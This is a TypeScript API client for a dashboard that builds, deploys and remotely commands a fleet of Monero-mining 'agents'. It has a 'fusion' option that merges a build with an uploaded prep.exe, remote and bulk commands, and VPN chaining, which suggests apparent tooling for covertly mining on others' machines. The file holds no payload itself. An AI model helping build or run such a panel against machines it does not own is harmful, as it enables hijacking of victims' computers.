import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types'; import { authHeaders } from './auth'; const API_BASE = '/api/v1'; // Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally // omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. async function fetchJSON(url: string, options?: RequestInit, timeoutMs = 10000): Promise { const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal }; const controller = new AbortController(); const timer = setTimeout(() => controller.abort(), timeoutMs); if (callerSignal) { callerSignal.addEventListener('abort', () => controller.abort()); } try { const res = await fetch(`${API_BASE}${url}`, { ...rest, signal: controller.signal, headers: { 'Content-Type': 'application/json', ...authHeaders(), ...(extraHeaders as Record | undefined), }, }); if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json(); } finally { clearTimeout(timer); } } export const api = { // Agents listAgents: () => fetchJSON('/agents'), getAgent: (id: string) => fetchJSON(`/agents/${id}`), getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'), getAgentStats: (id: string, limit?: number) => fetchJSON(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`), // Shares getRecentShares: (limit?: number) => fetchJSON(`/shares${limit ? `?limit=${limit}` : ''}`), // Builds listBuilds: () => fetchJSON('/builds'), // Config getConfig: () => fetchJSON('/config'), updateConfig: (config: Partial) => fetchJSON('/config', { method: 'PUT', body: JSON.stringify(config), }), // Builder buildAgent: (req: BuildRequest, prepFile?: File | null) => { if (req.fusion_enabled) { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); return fetch(`${API_BASE}/builder/build`, { method: 'POST', headers: authHeaders(), body: form, }).then(async (res) => { if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json() as Promise; }); } return fetchJSON('/builder/build', { method: 'POST', body: JSON.stringify(req), }); }, estimateFusion: (req: BuildRequest, prepFile?: File | null) => { if (!prepFile) { return Promise.reject(new Error('Fusion requires prep.exe upload')); } const form = new FormData(); form.append('config', JSON.stringify(req)); form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); return fetch(`${API_BASE}/builder/estimate`, { method: 'POST', headers: authHeaders(), body: form, }).then(async (res) => { if (!res.ok) { const err = await res.text(); throw new Error(`API error ${res.status}: ${err}`); } return res.json() as Promise; }); }, pinBuild: (buildId: string) => fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }), unpinAll: () => fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }), deleteBuild: (buildId: string) => fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }), buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildArtifactUrl: (buildId: string, fileName: string) => `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, // Blueprints (config presets) listBlueprints: () => fetchJSON('/blueprints'), getBlueprint: (name: string) => fetchJSON(`/blueprints/${encodeURIComponent(name)}`), saveBlueprint: (name: string, data: any) => fetchJSON<{ success: boolean; name: string; file_path: string; created_at: string }>('/blueprints', { method: 'POST', body: JSON.stringify({ name, data }), }), deleteBlueprint: (name: string) => fetchJSON<{ success: boolean; name: string }>(`/blueprints?name=${encodeURIComponent(name)}`, { method: 'DELETE', }), // Health / server healthCheck: () => fetchJSON<{ status: string }>('/health'), getServerInfo: () => fetchJSON('/server/info'), rotateFleetSecret: () => fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }), // Fleet ops getAlerts: () => fetchJSON('/alerts'), testAlerts: () => fetchJSON>('/alerts/test', { method: 'POST', }), getPoolStatus: () => fetchJSON('/pools/status'), getAIActivity: () => fetchJSON('/ai/activity'), getEarningsEstimate: (hashrate: number) => fetchJSON(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`), sendAgentCommand: ( id: string, action: string, payload?: Record ) => fetchJSON<{ success: boolean; error?: string }>(`/agents/${id}/command`, { method: 'POST', body: JSON.stringify({ action, ...payload }), }), sendWOL: (id: string, mac?: string) => fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, { method: 'POST', body: JSON.stringify(mac ? { mac } : {}), }), getAgentLog: (id: string, refresh = false) => fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`), downloadAgentLog: async (id: string): Promise => { const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, { headers: { ...authHeaders() }, }); if (!res.ok) throw new Error(`Log download failed: ${res.status}`); const blob = await res.blob(); const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = `agent-${id.slice(0, 8)}.log`; document.body.appendChild(a); a.click(); document.body.removeChild(a); URL.revokeObjectURL(url); }, updateAgentMeta: (id: string, notes: string, tags: string[]) => fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, { method: 'PUT', body: JSON.stringify({ notes, tags }), }), sendBulkCommand: (agentIds: string[], action: string) => fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', { method: 'POST', body: JSON.stringify({ agent_ids: agentIds, action }), }), deleteAgent: (id: string) => fetchJSON<{ success: boolean }>(`/agents/${id}`, { method: 'DELETE' }), bulkDeleteAgents: (ids: string[]) => fetchJSON<{ success: boolean; deleted: number }>('/agents/bulk-delete', { method: 'POST', body: JSON.stringify({ ids }), }), createUser: (username: string, password: string) => fetchJSON<{ success: boolean }>('/users', { method: 'POST', body: JSON.stringify({ username, password }), }), // XMR market price (server-side CoinGecko cache, refreshed every 10 min) getXmrPrice: () => fetchJSON('/market/xmr'), // Path Tracer — WireGuard VPN chain sessions startTrace: (agentIds: string[]) => fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { method: 'POST', body: JSON.stringify({ agent_ids: agentIds }), }), getTraceStatus: (id: string) => fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`), getTraceQR: (id: string) => fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`), deleteTrace: (id: string) => fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }), // Cancel an in-progress forge build by its cancel token. cancelBuild: (cancelToken: string) => fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { method: 'DELETE', }), // Full deck backup — downloads a zip containing config.json, users.json, miner.db. downloadBackup: async (): Promise => { const res = await fetch(`${API_BASE}/backup`, { method: 'GET', headers: { ...authHeaders() }, }); if (!res.ok) { const err = await res.text(); throw new Error(`Backup failed ${res.status}: ${err}`); } const blob = await res.blob(); const disposition = res.headers.get('Content-Disposition') ?? ''; const match = disposition.match(/filename="([^"]+)"/); const filename = match ? match[1] : 'aetherforge-backup.zip'; const url = URL.createObjectURL(blob); const a = document.createElement('a'); a.href = url; a.download = filename; a.click(); URL.revokeObjectURL(url); }, };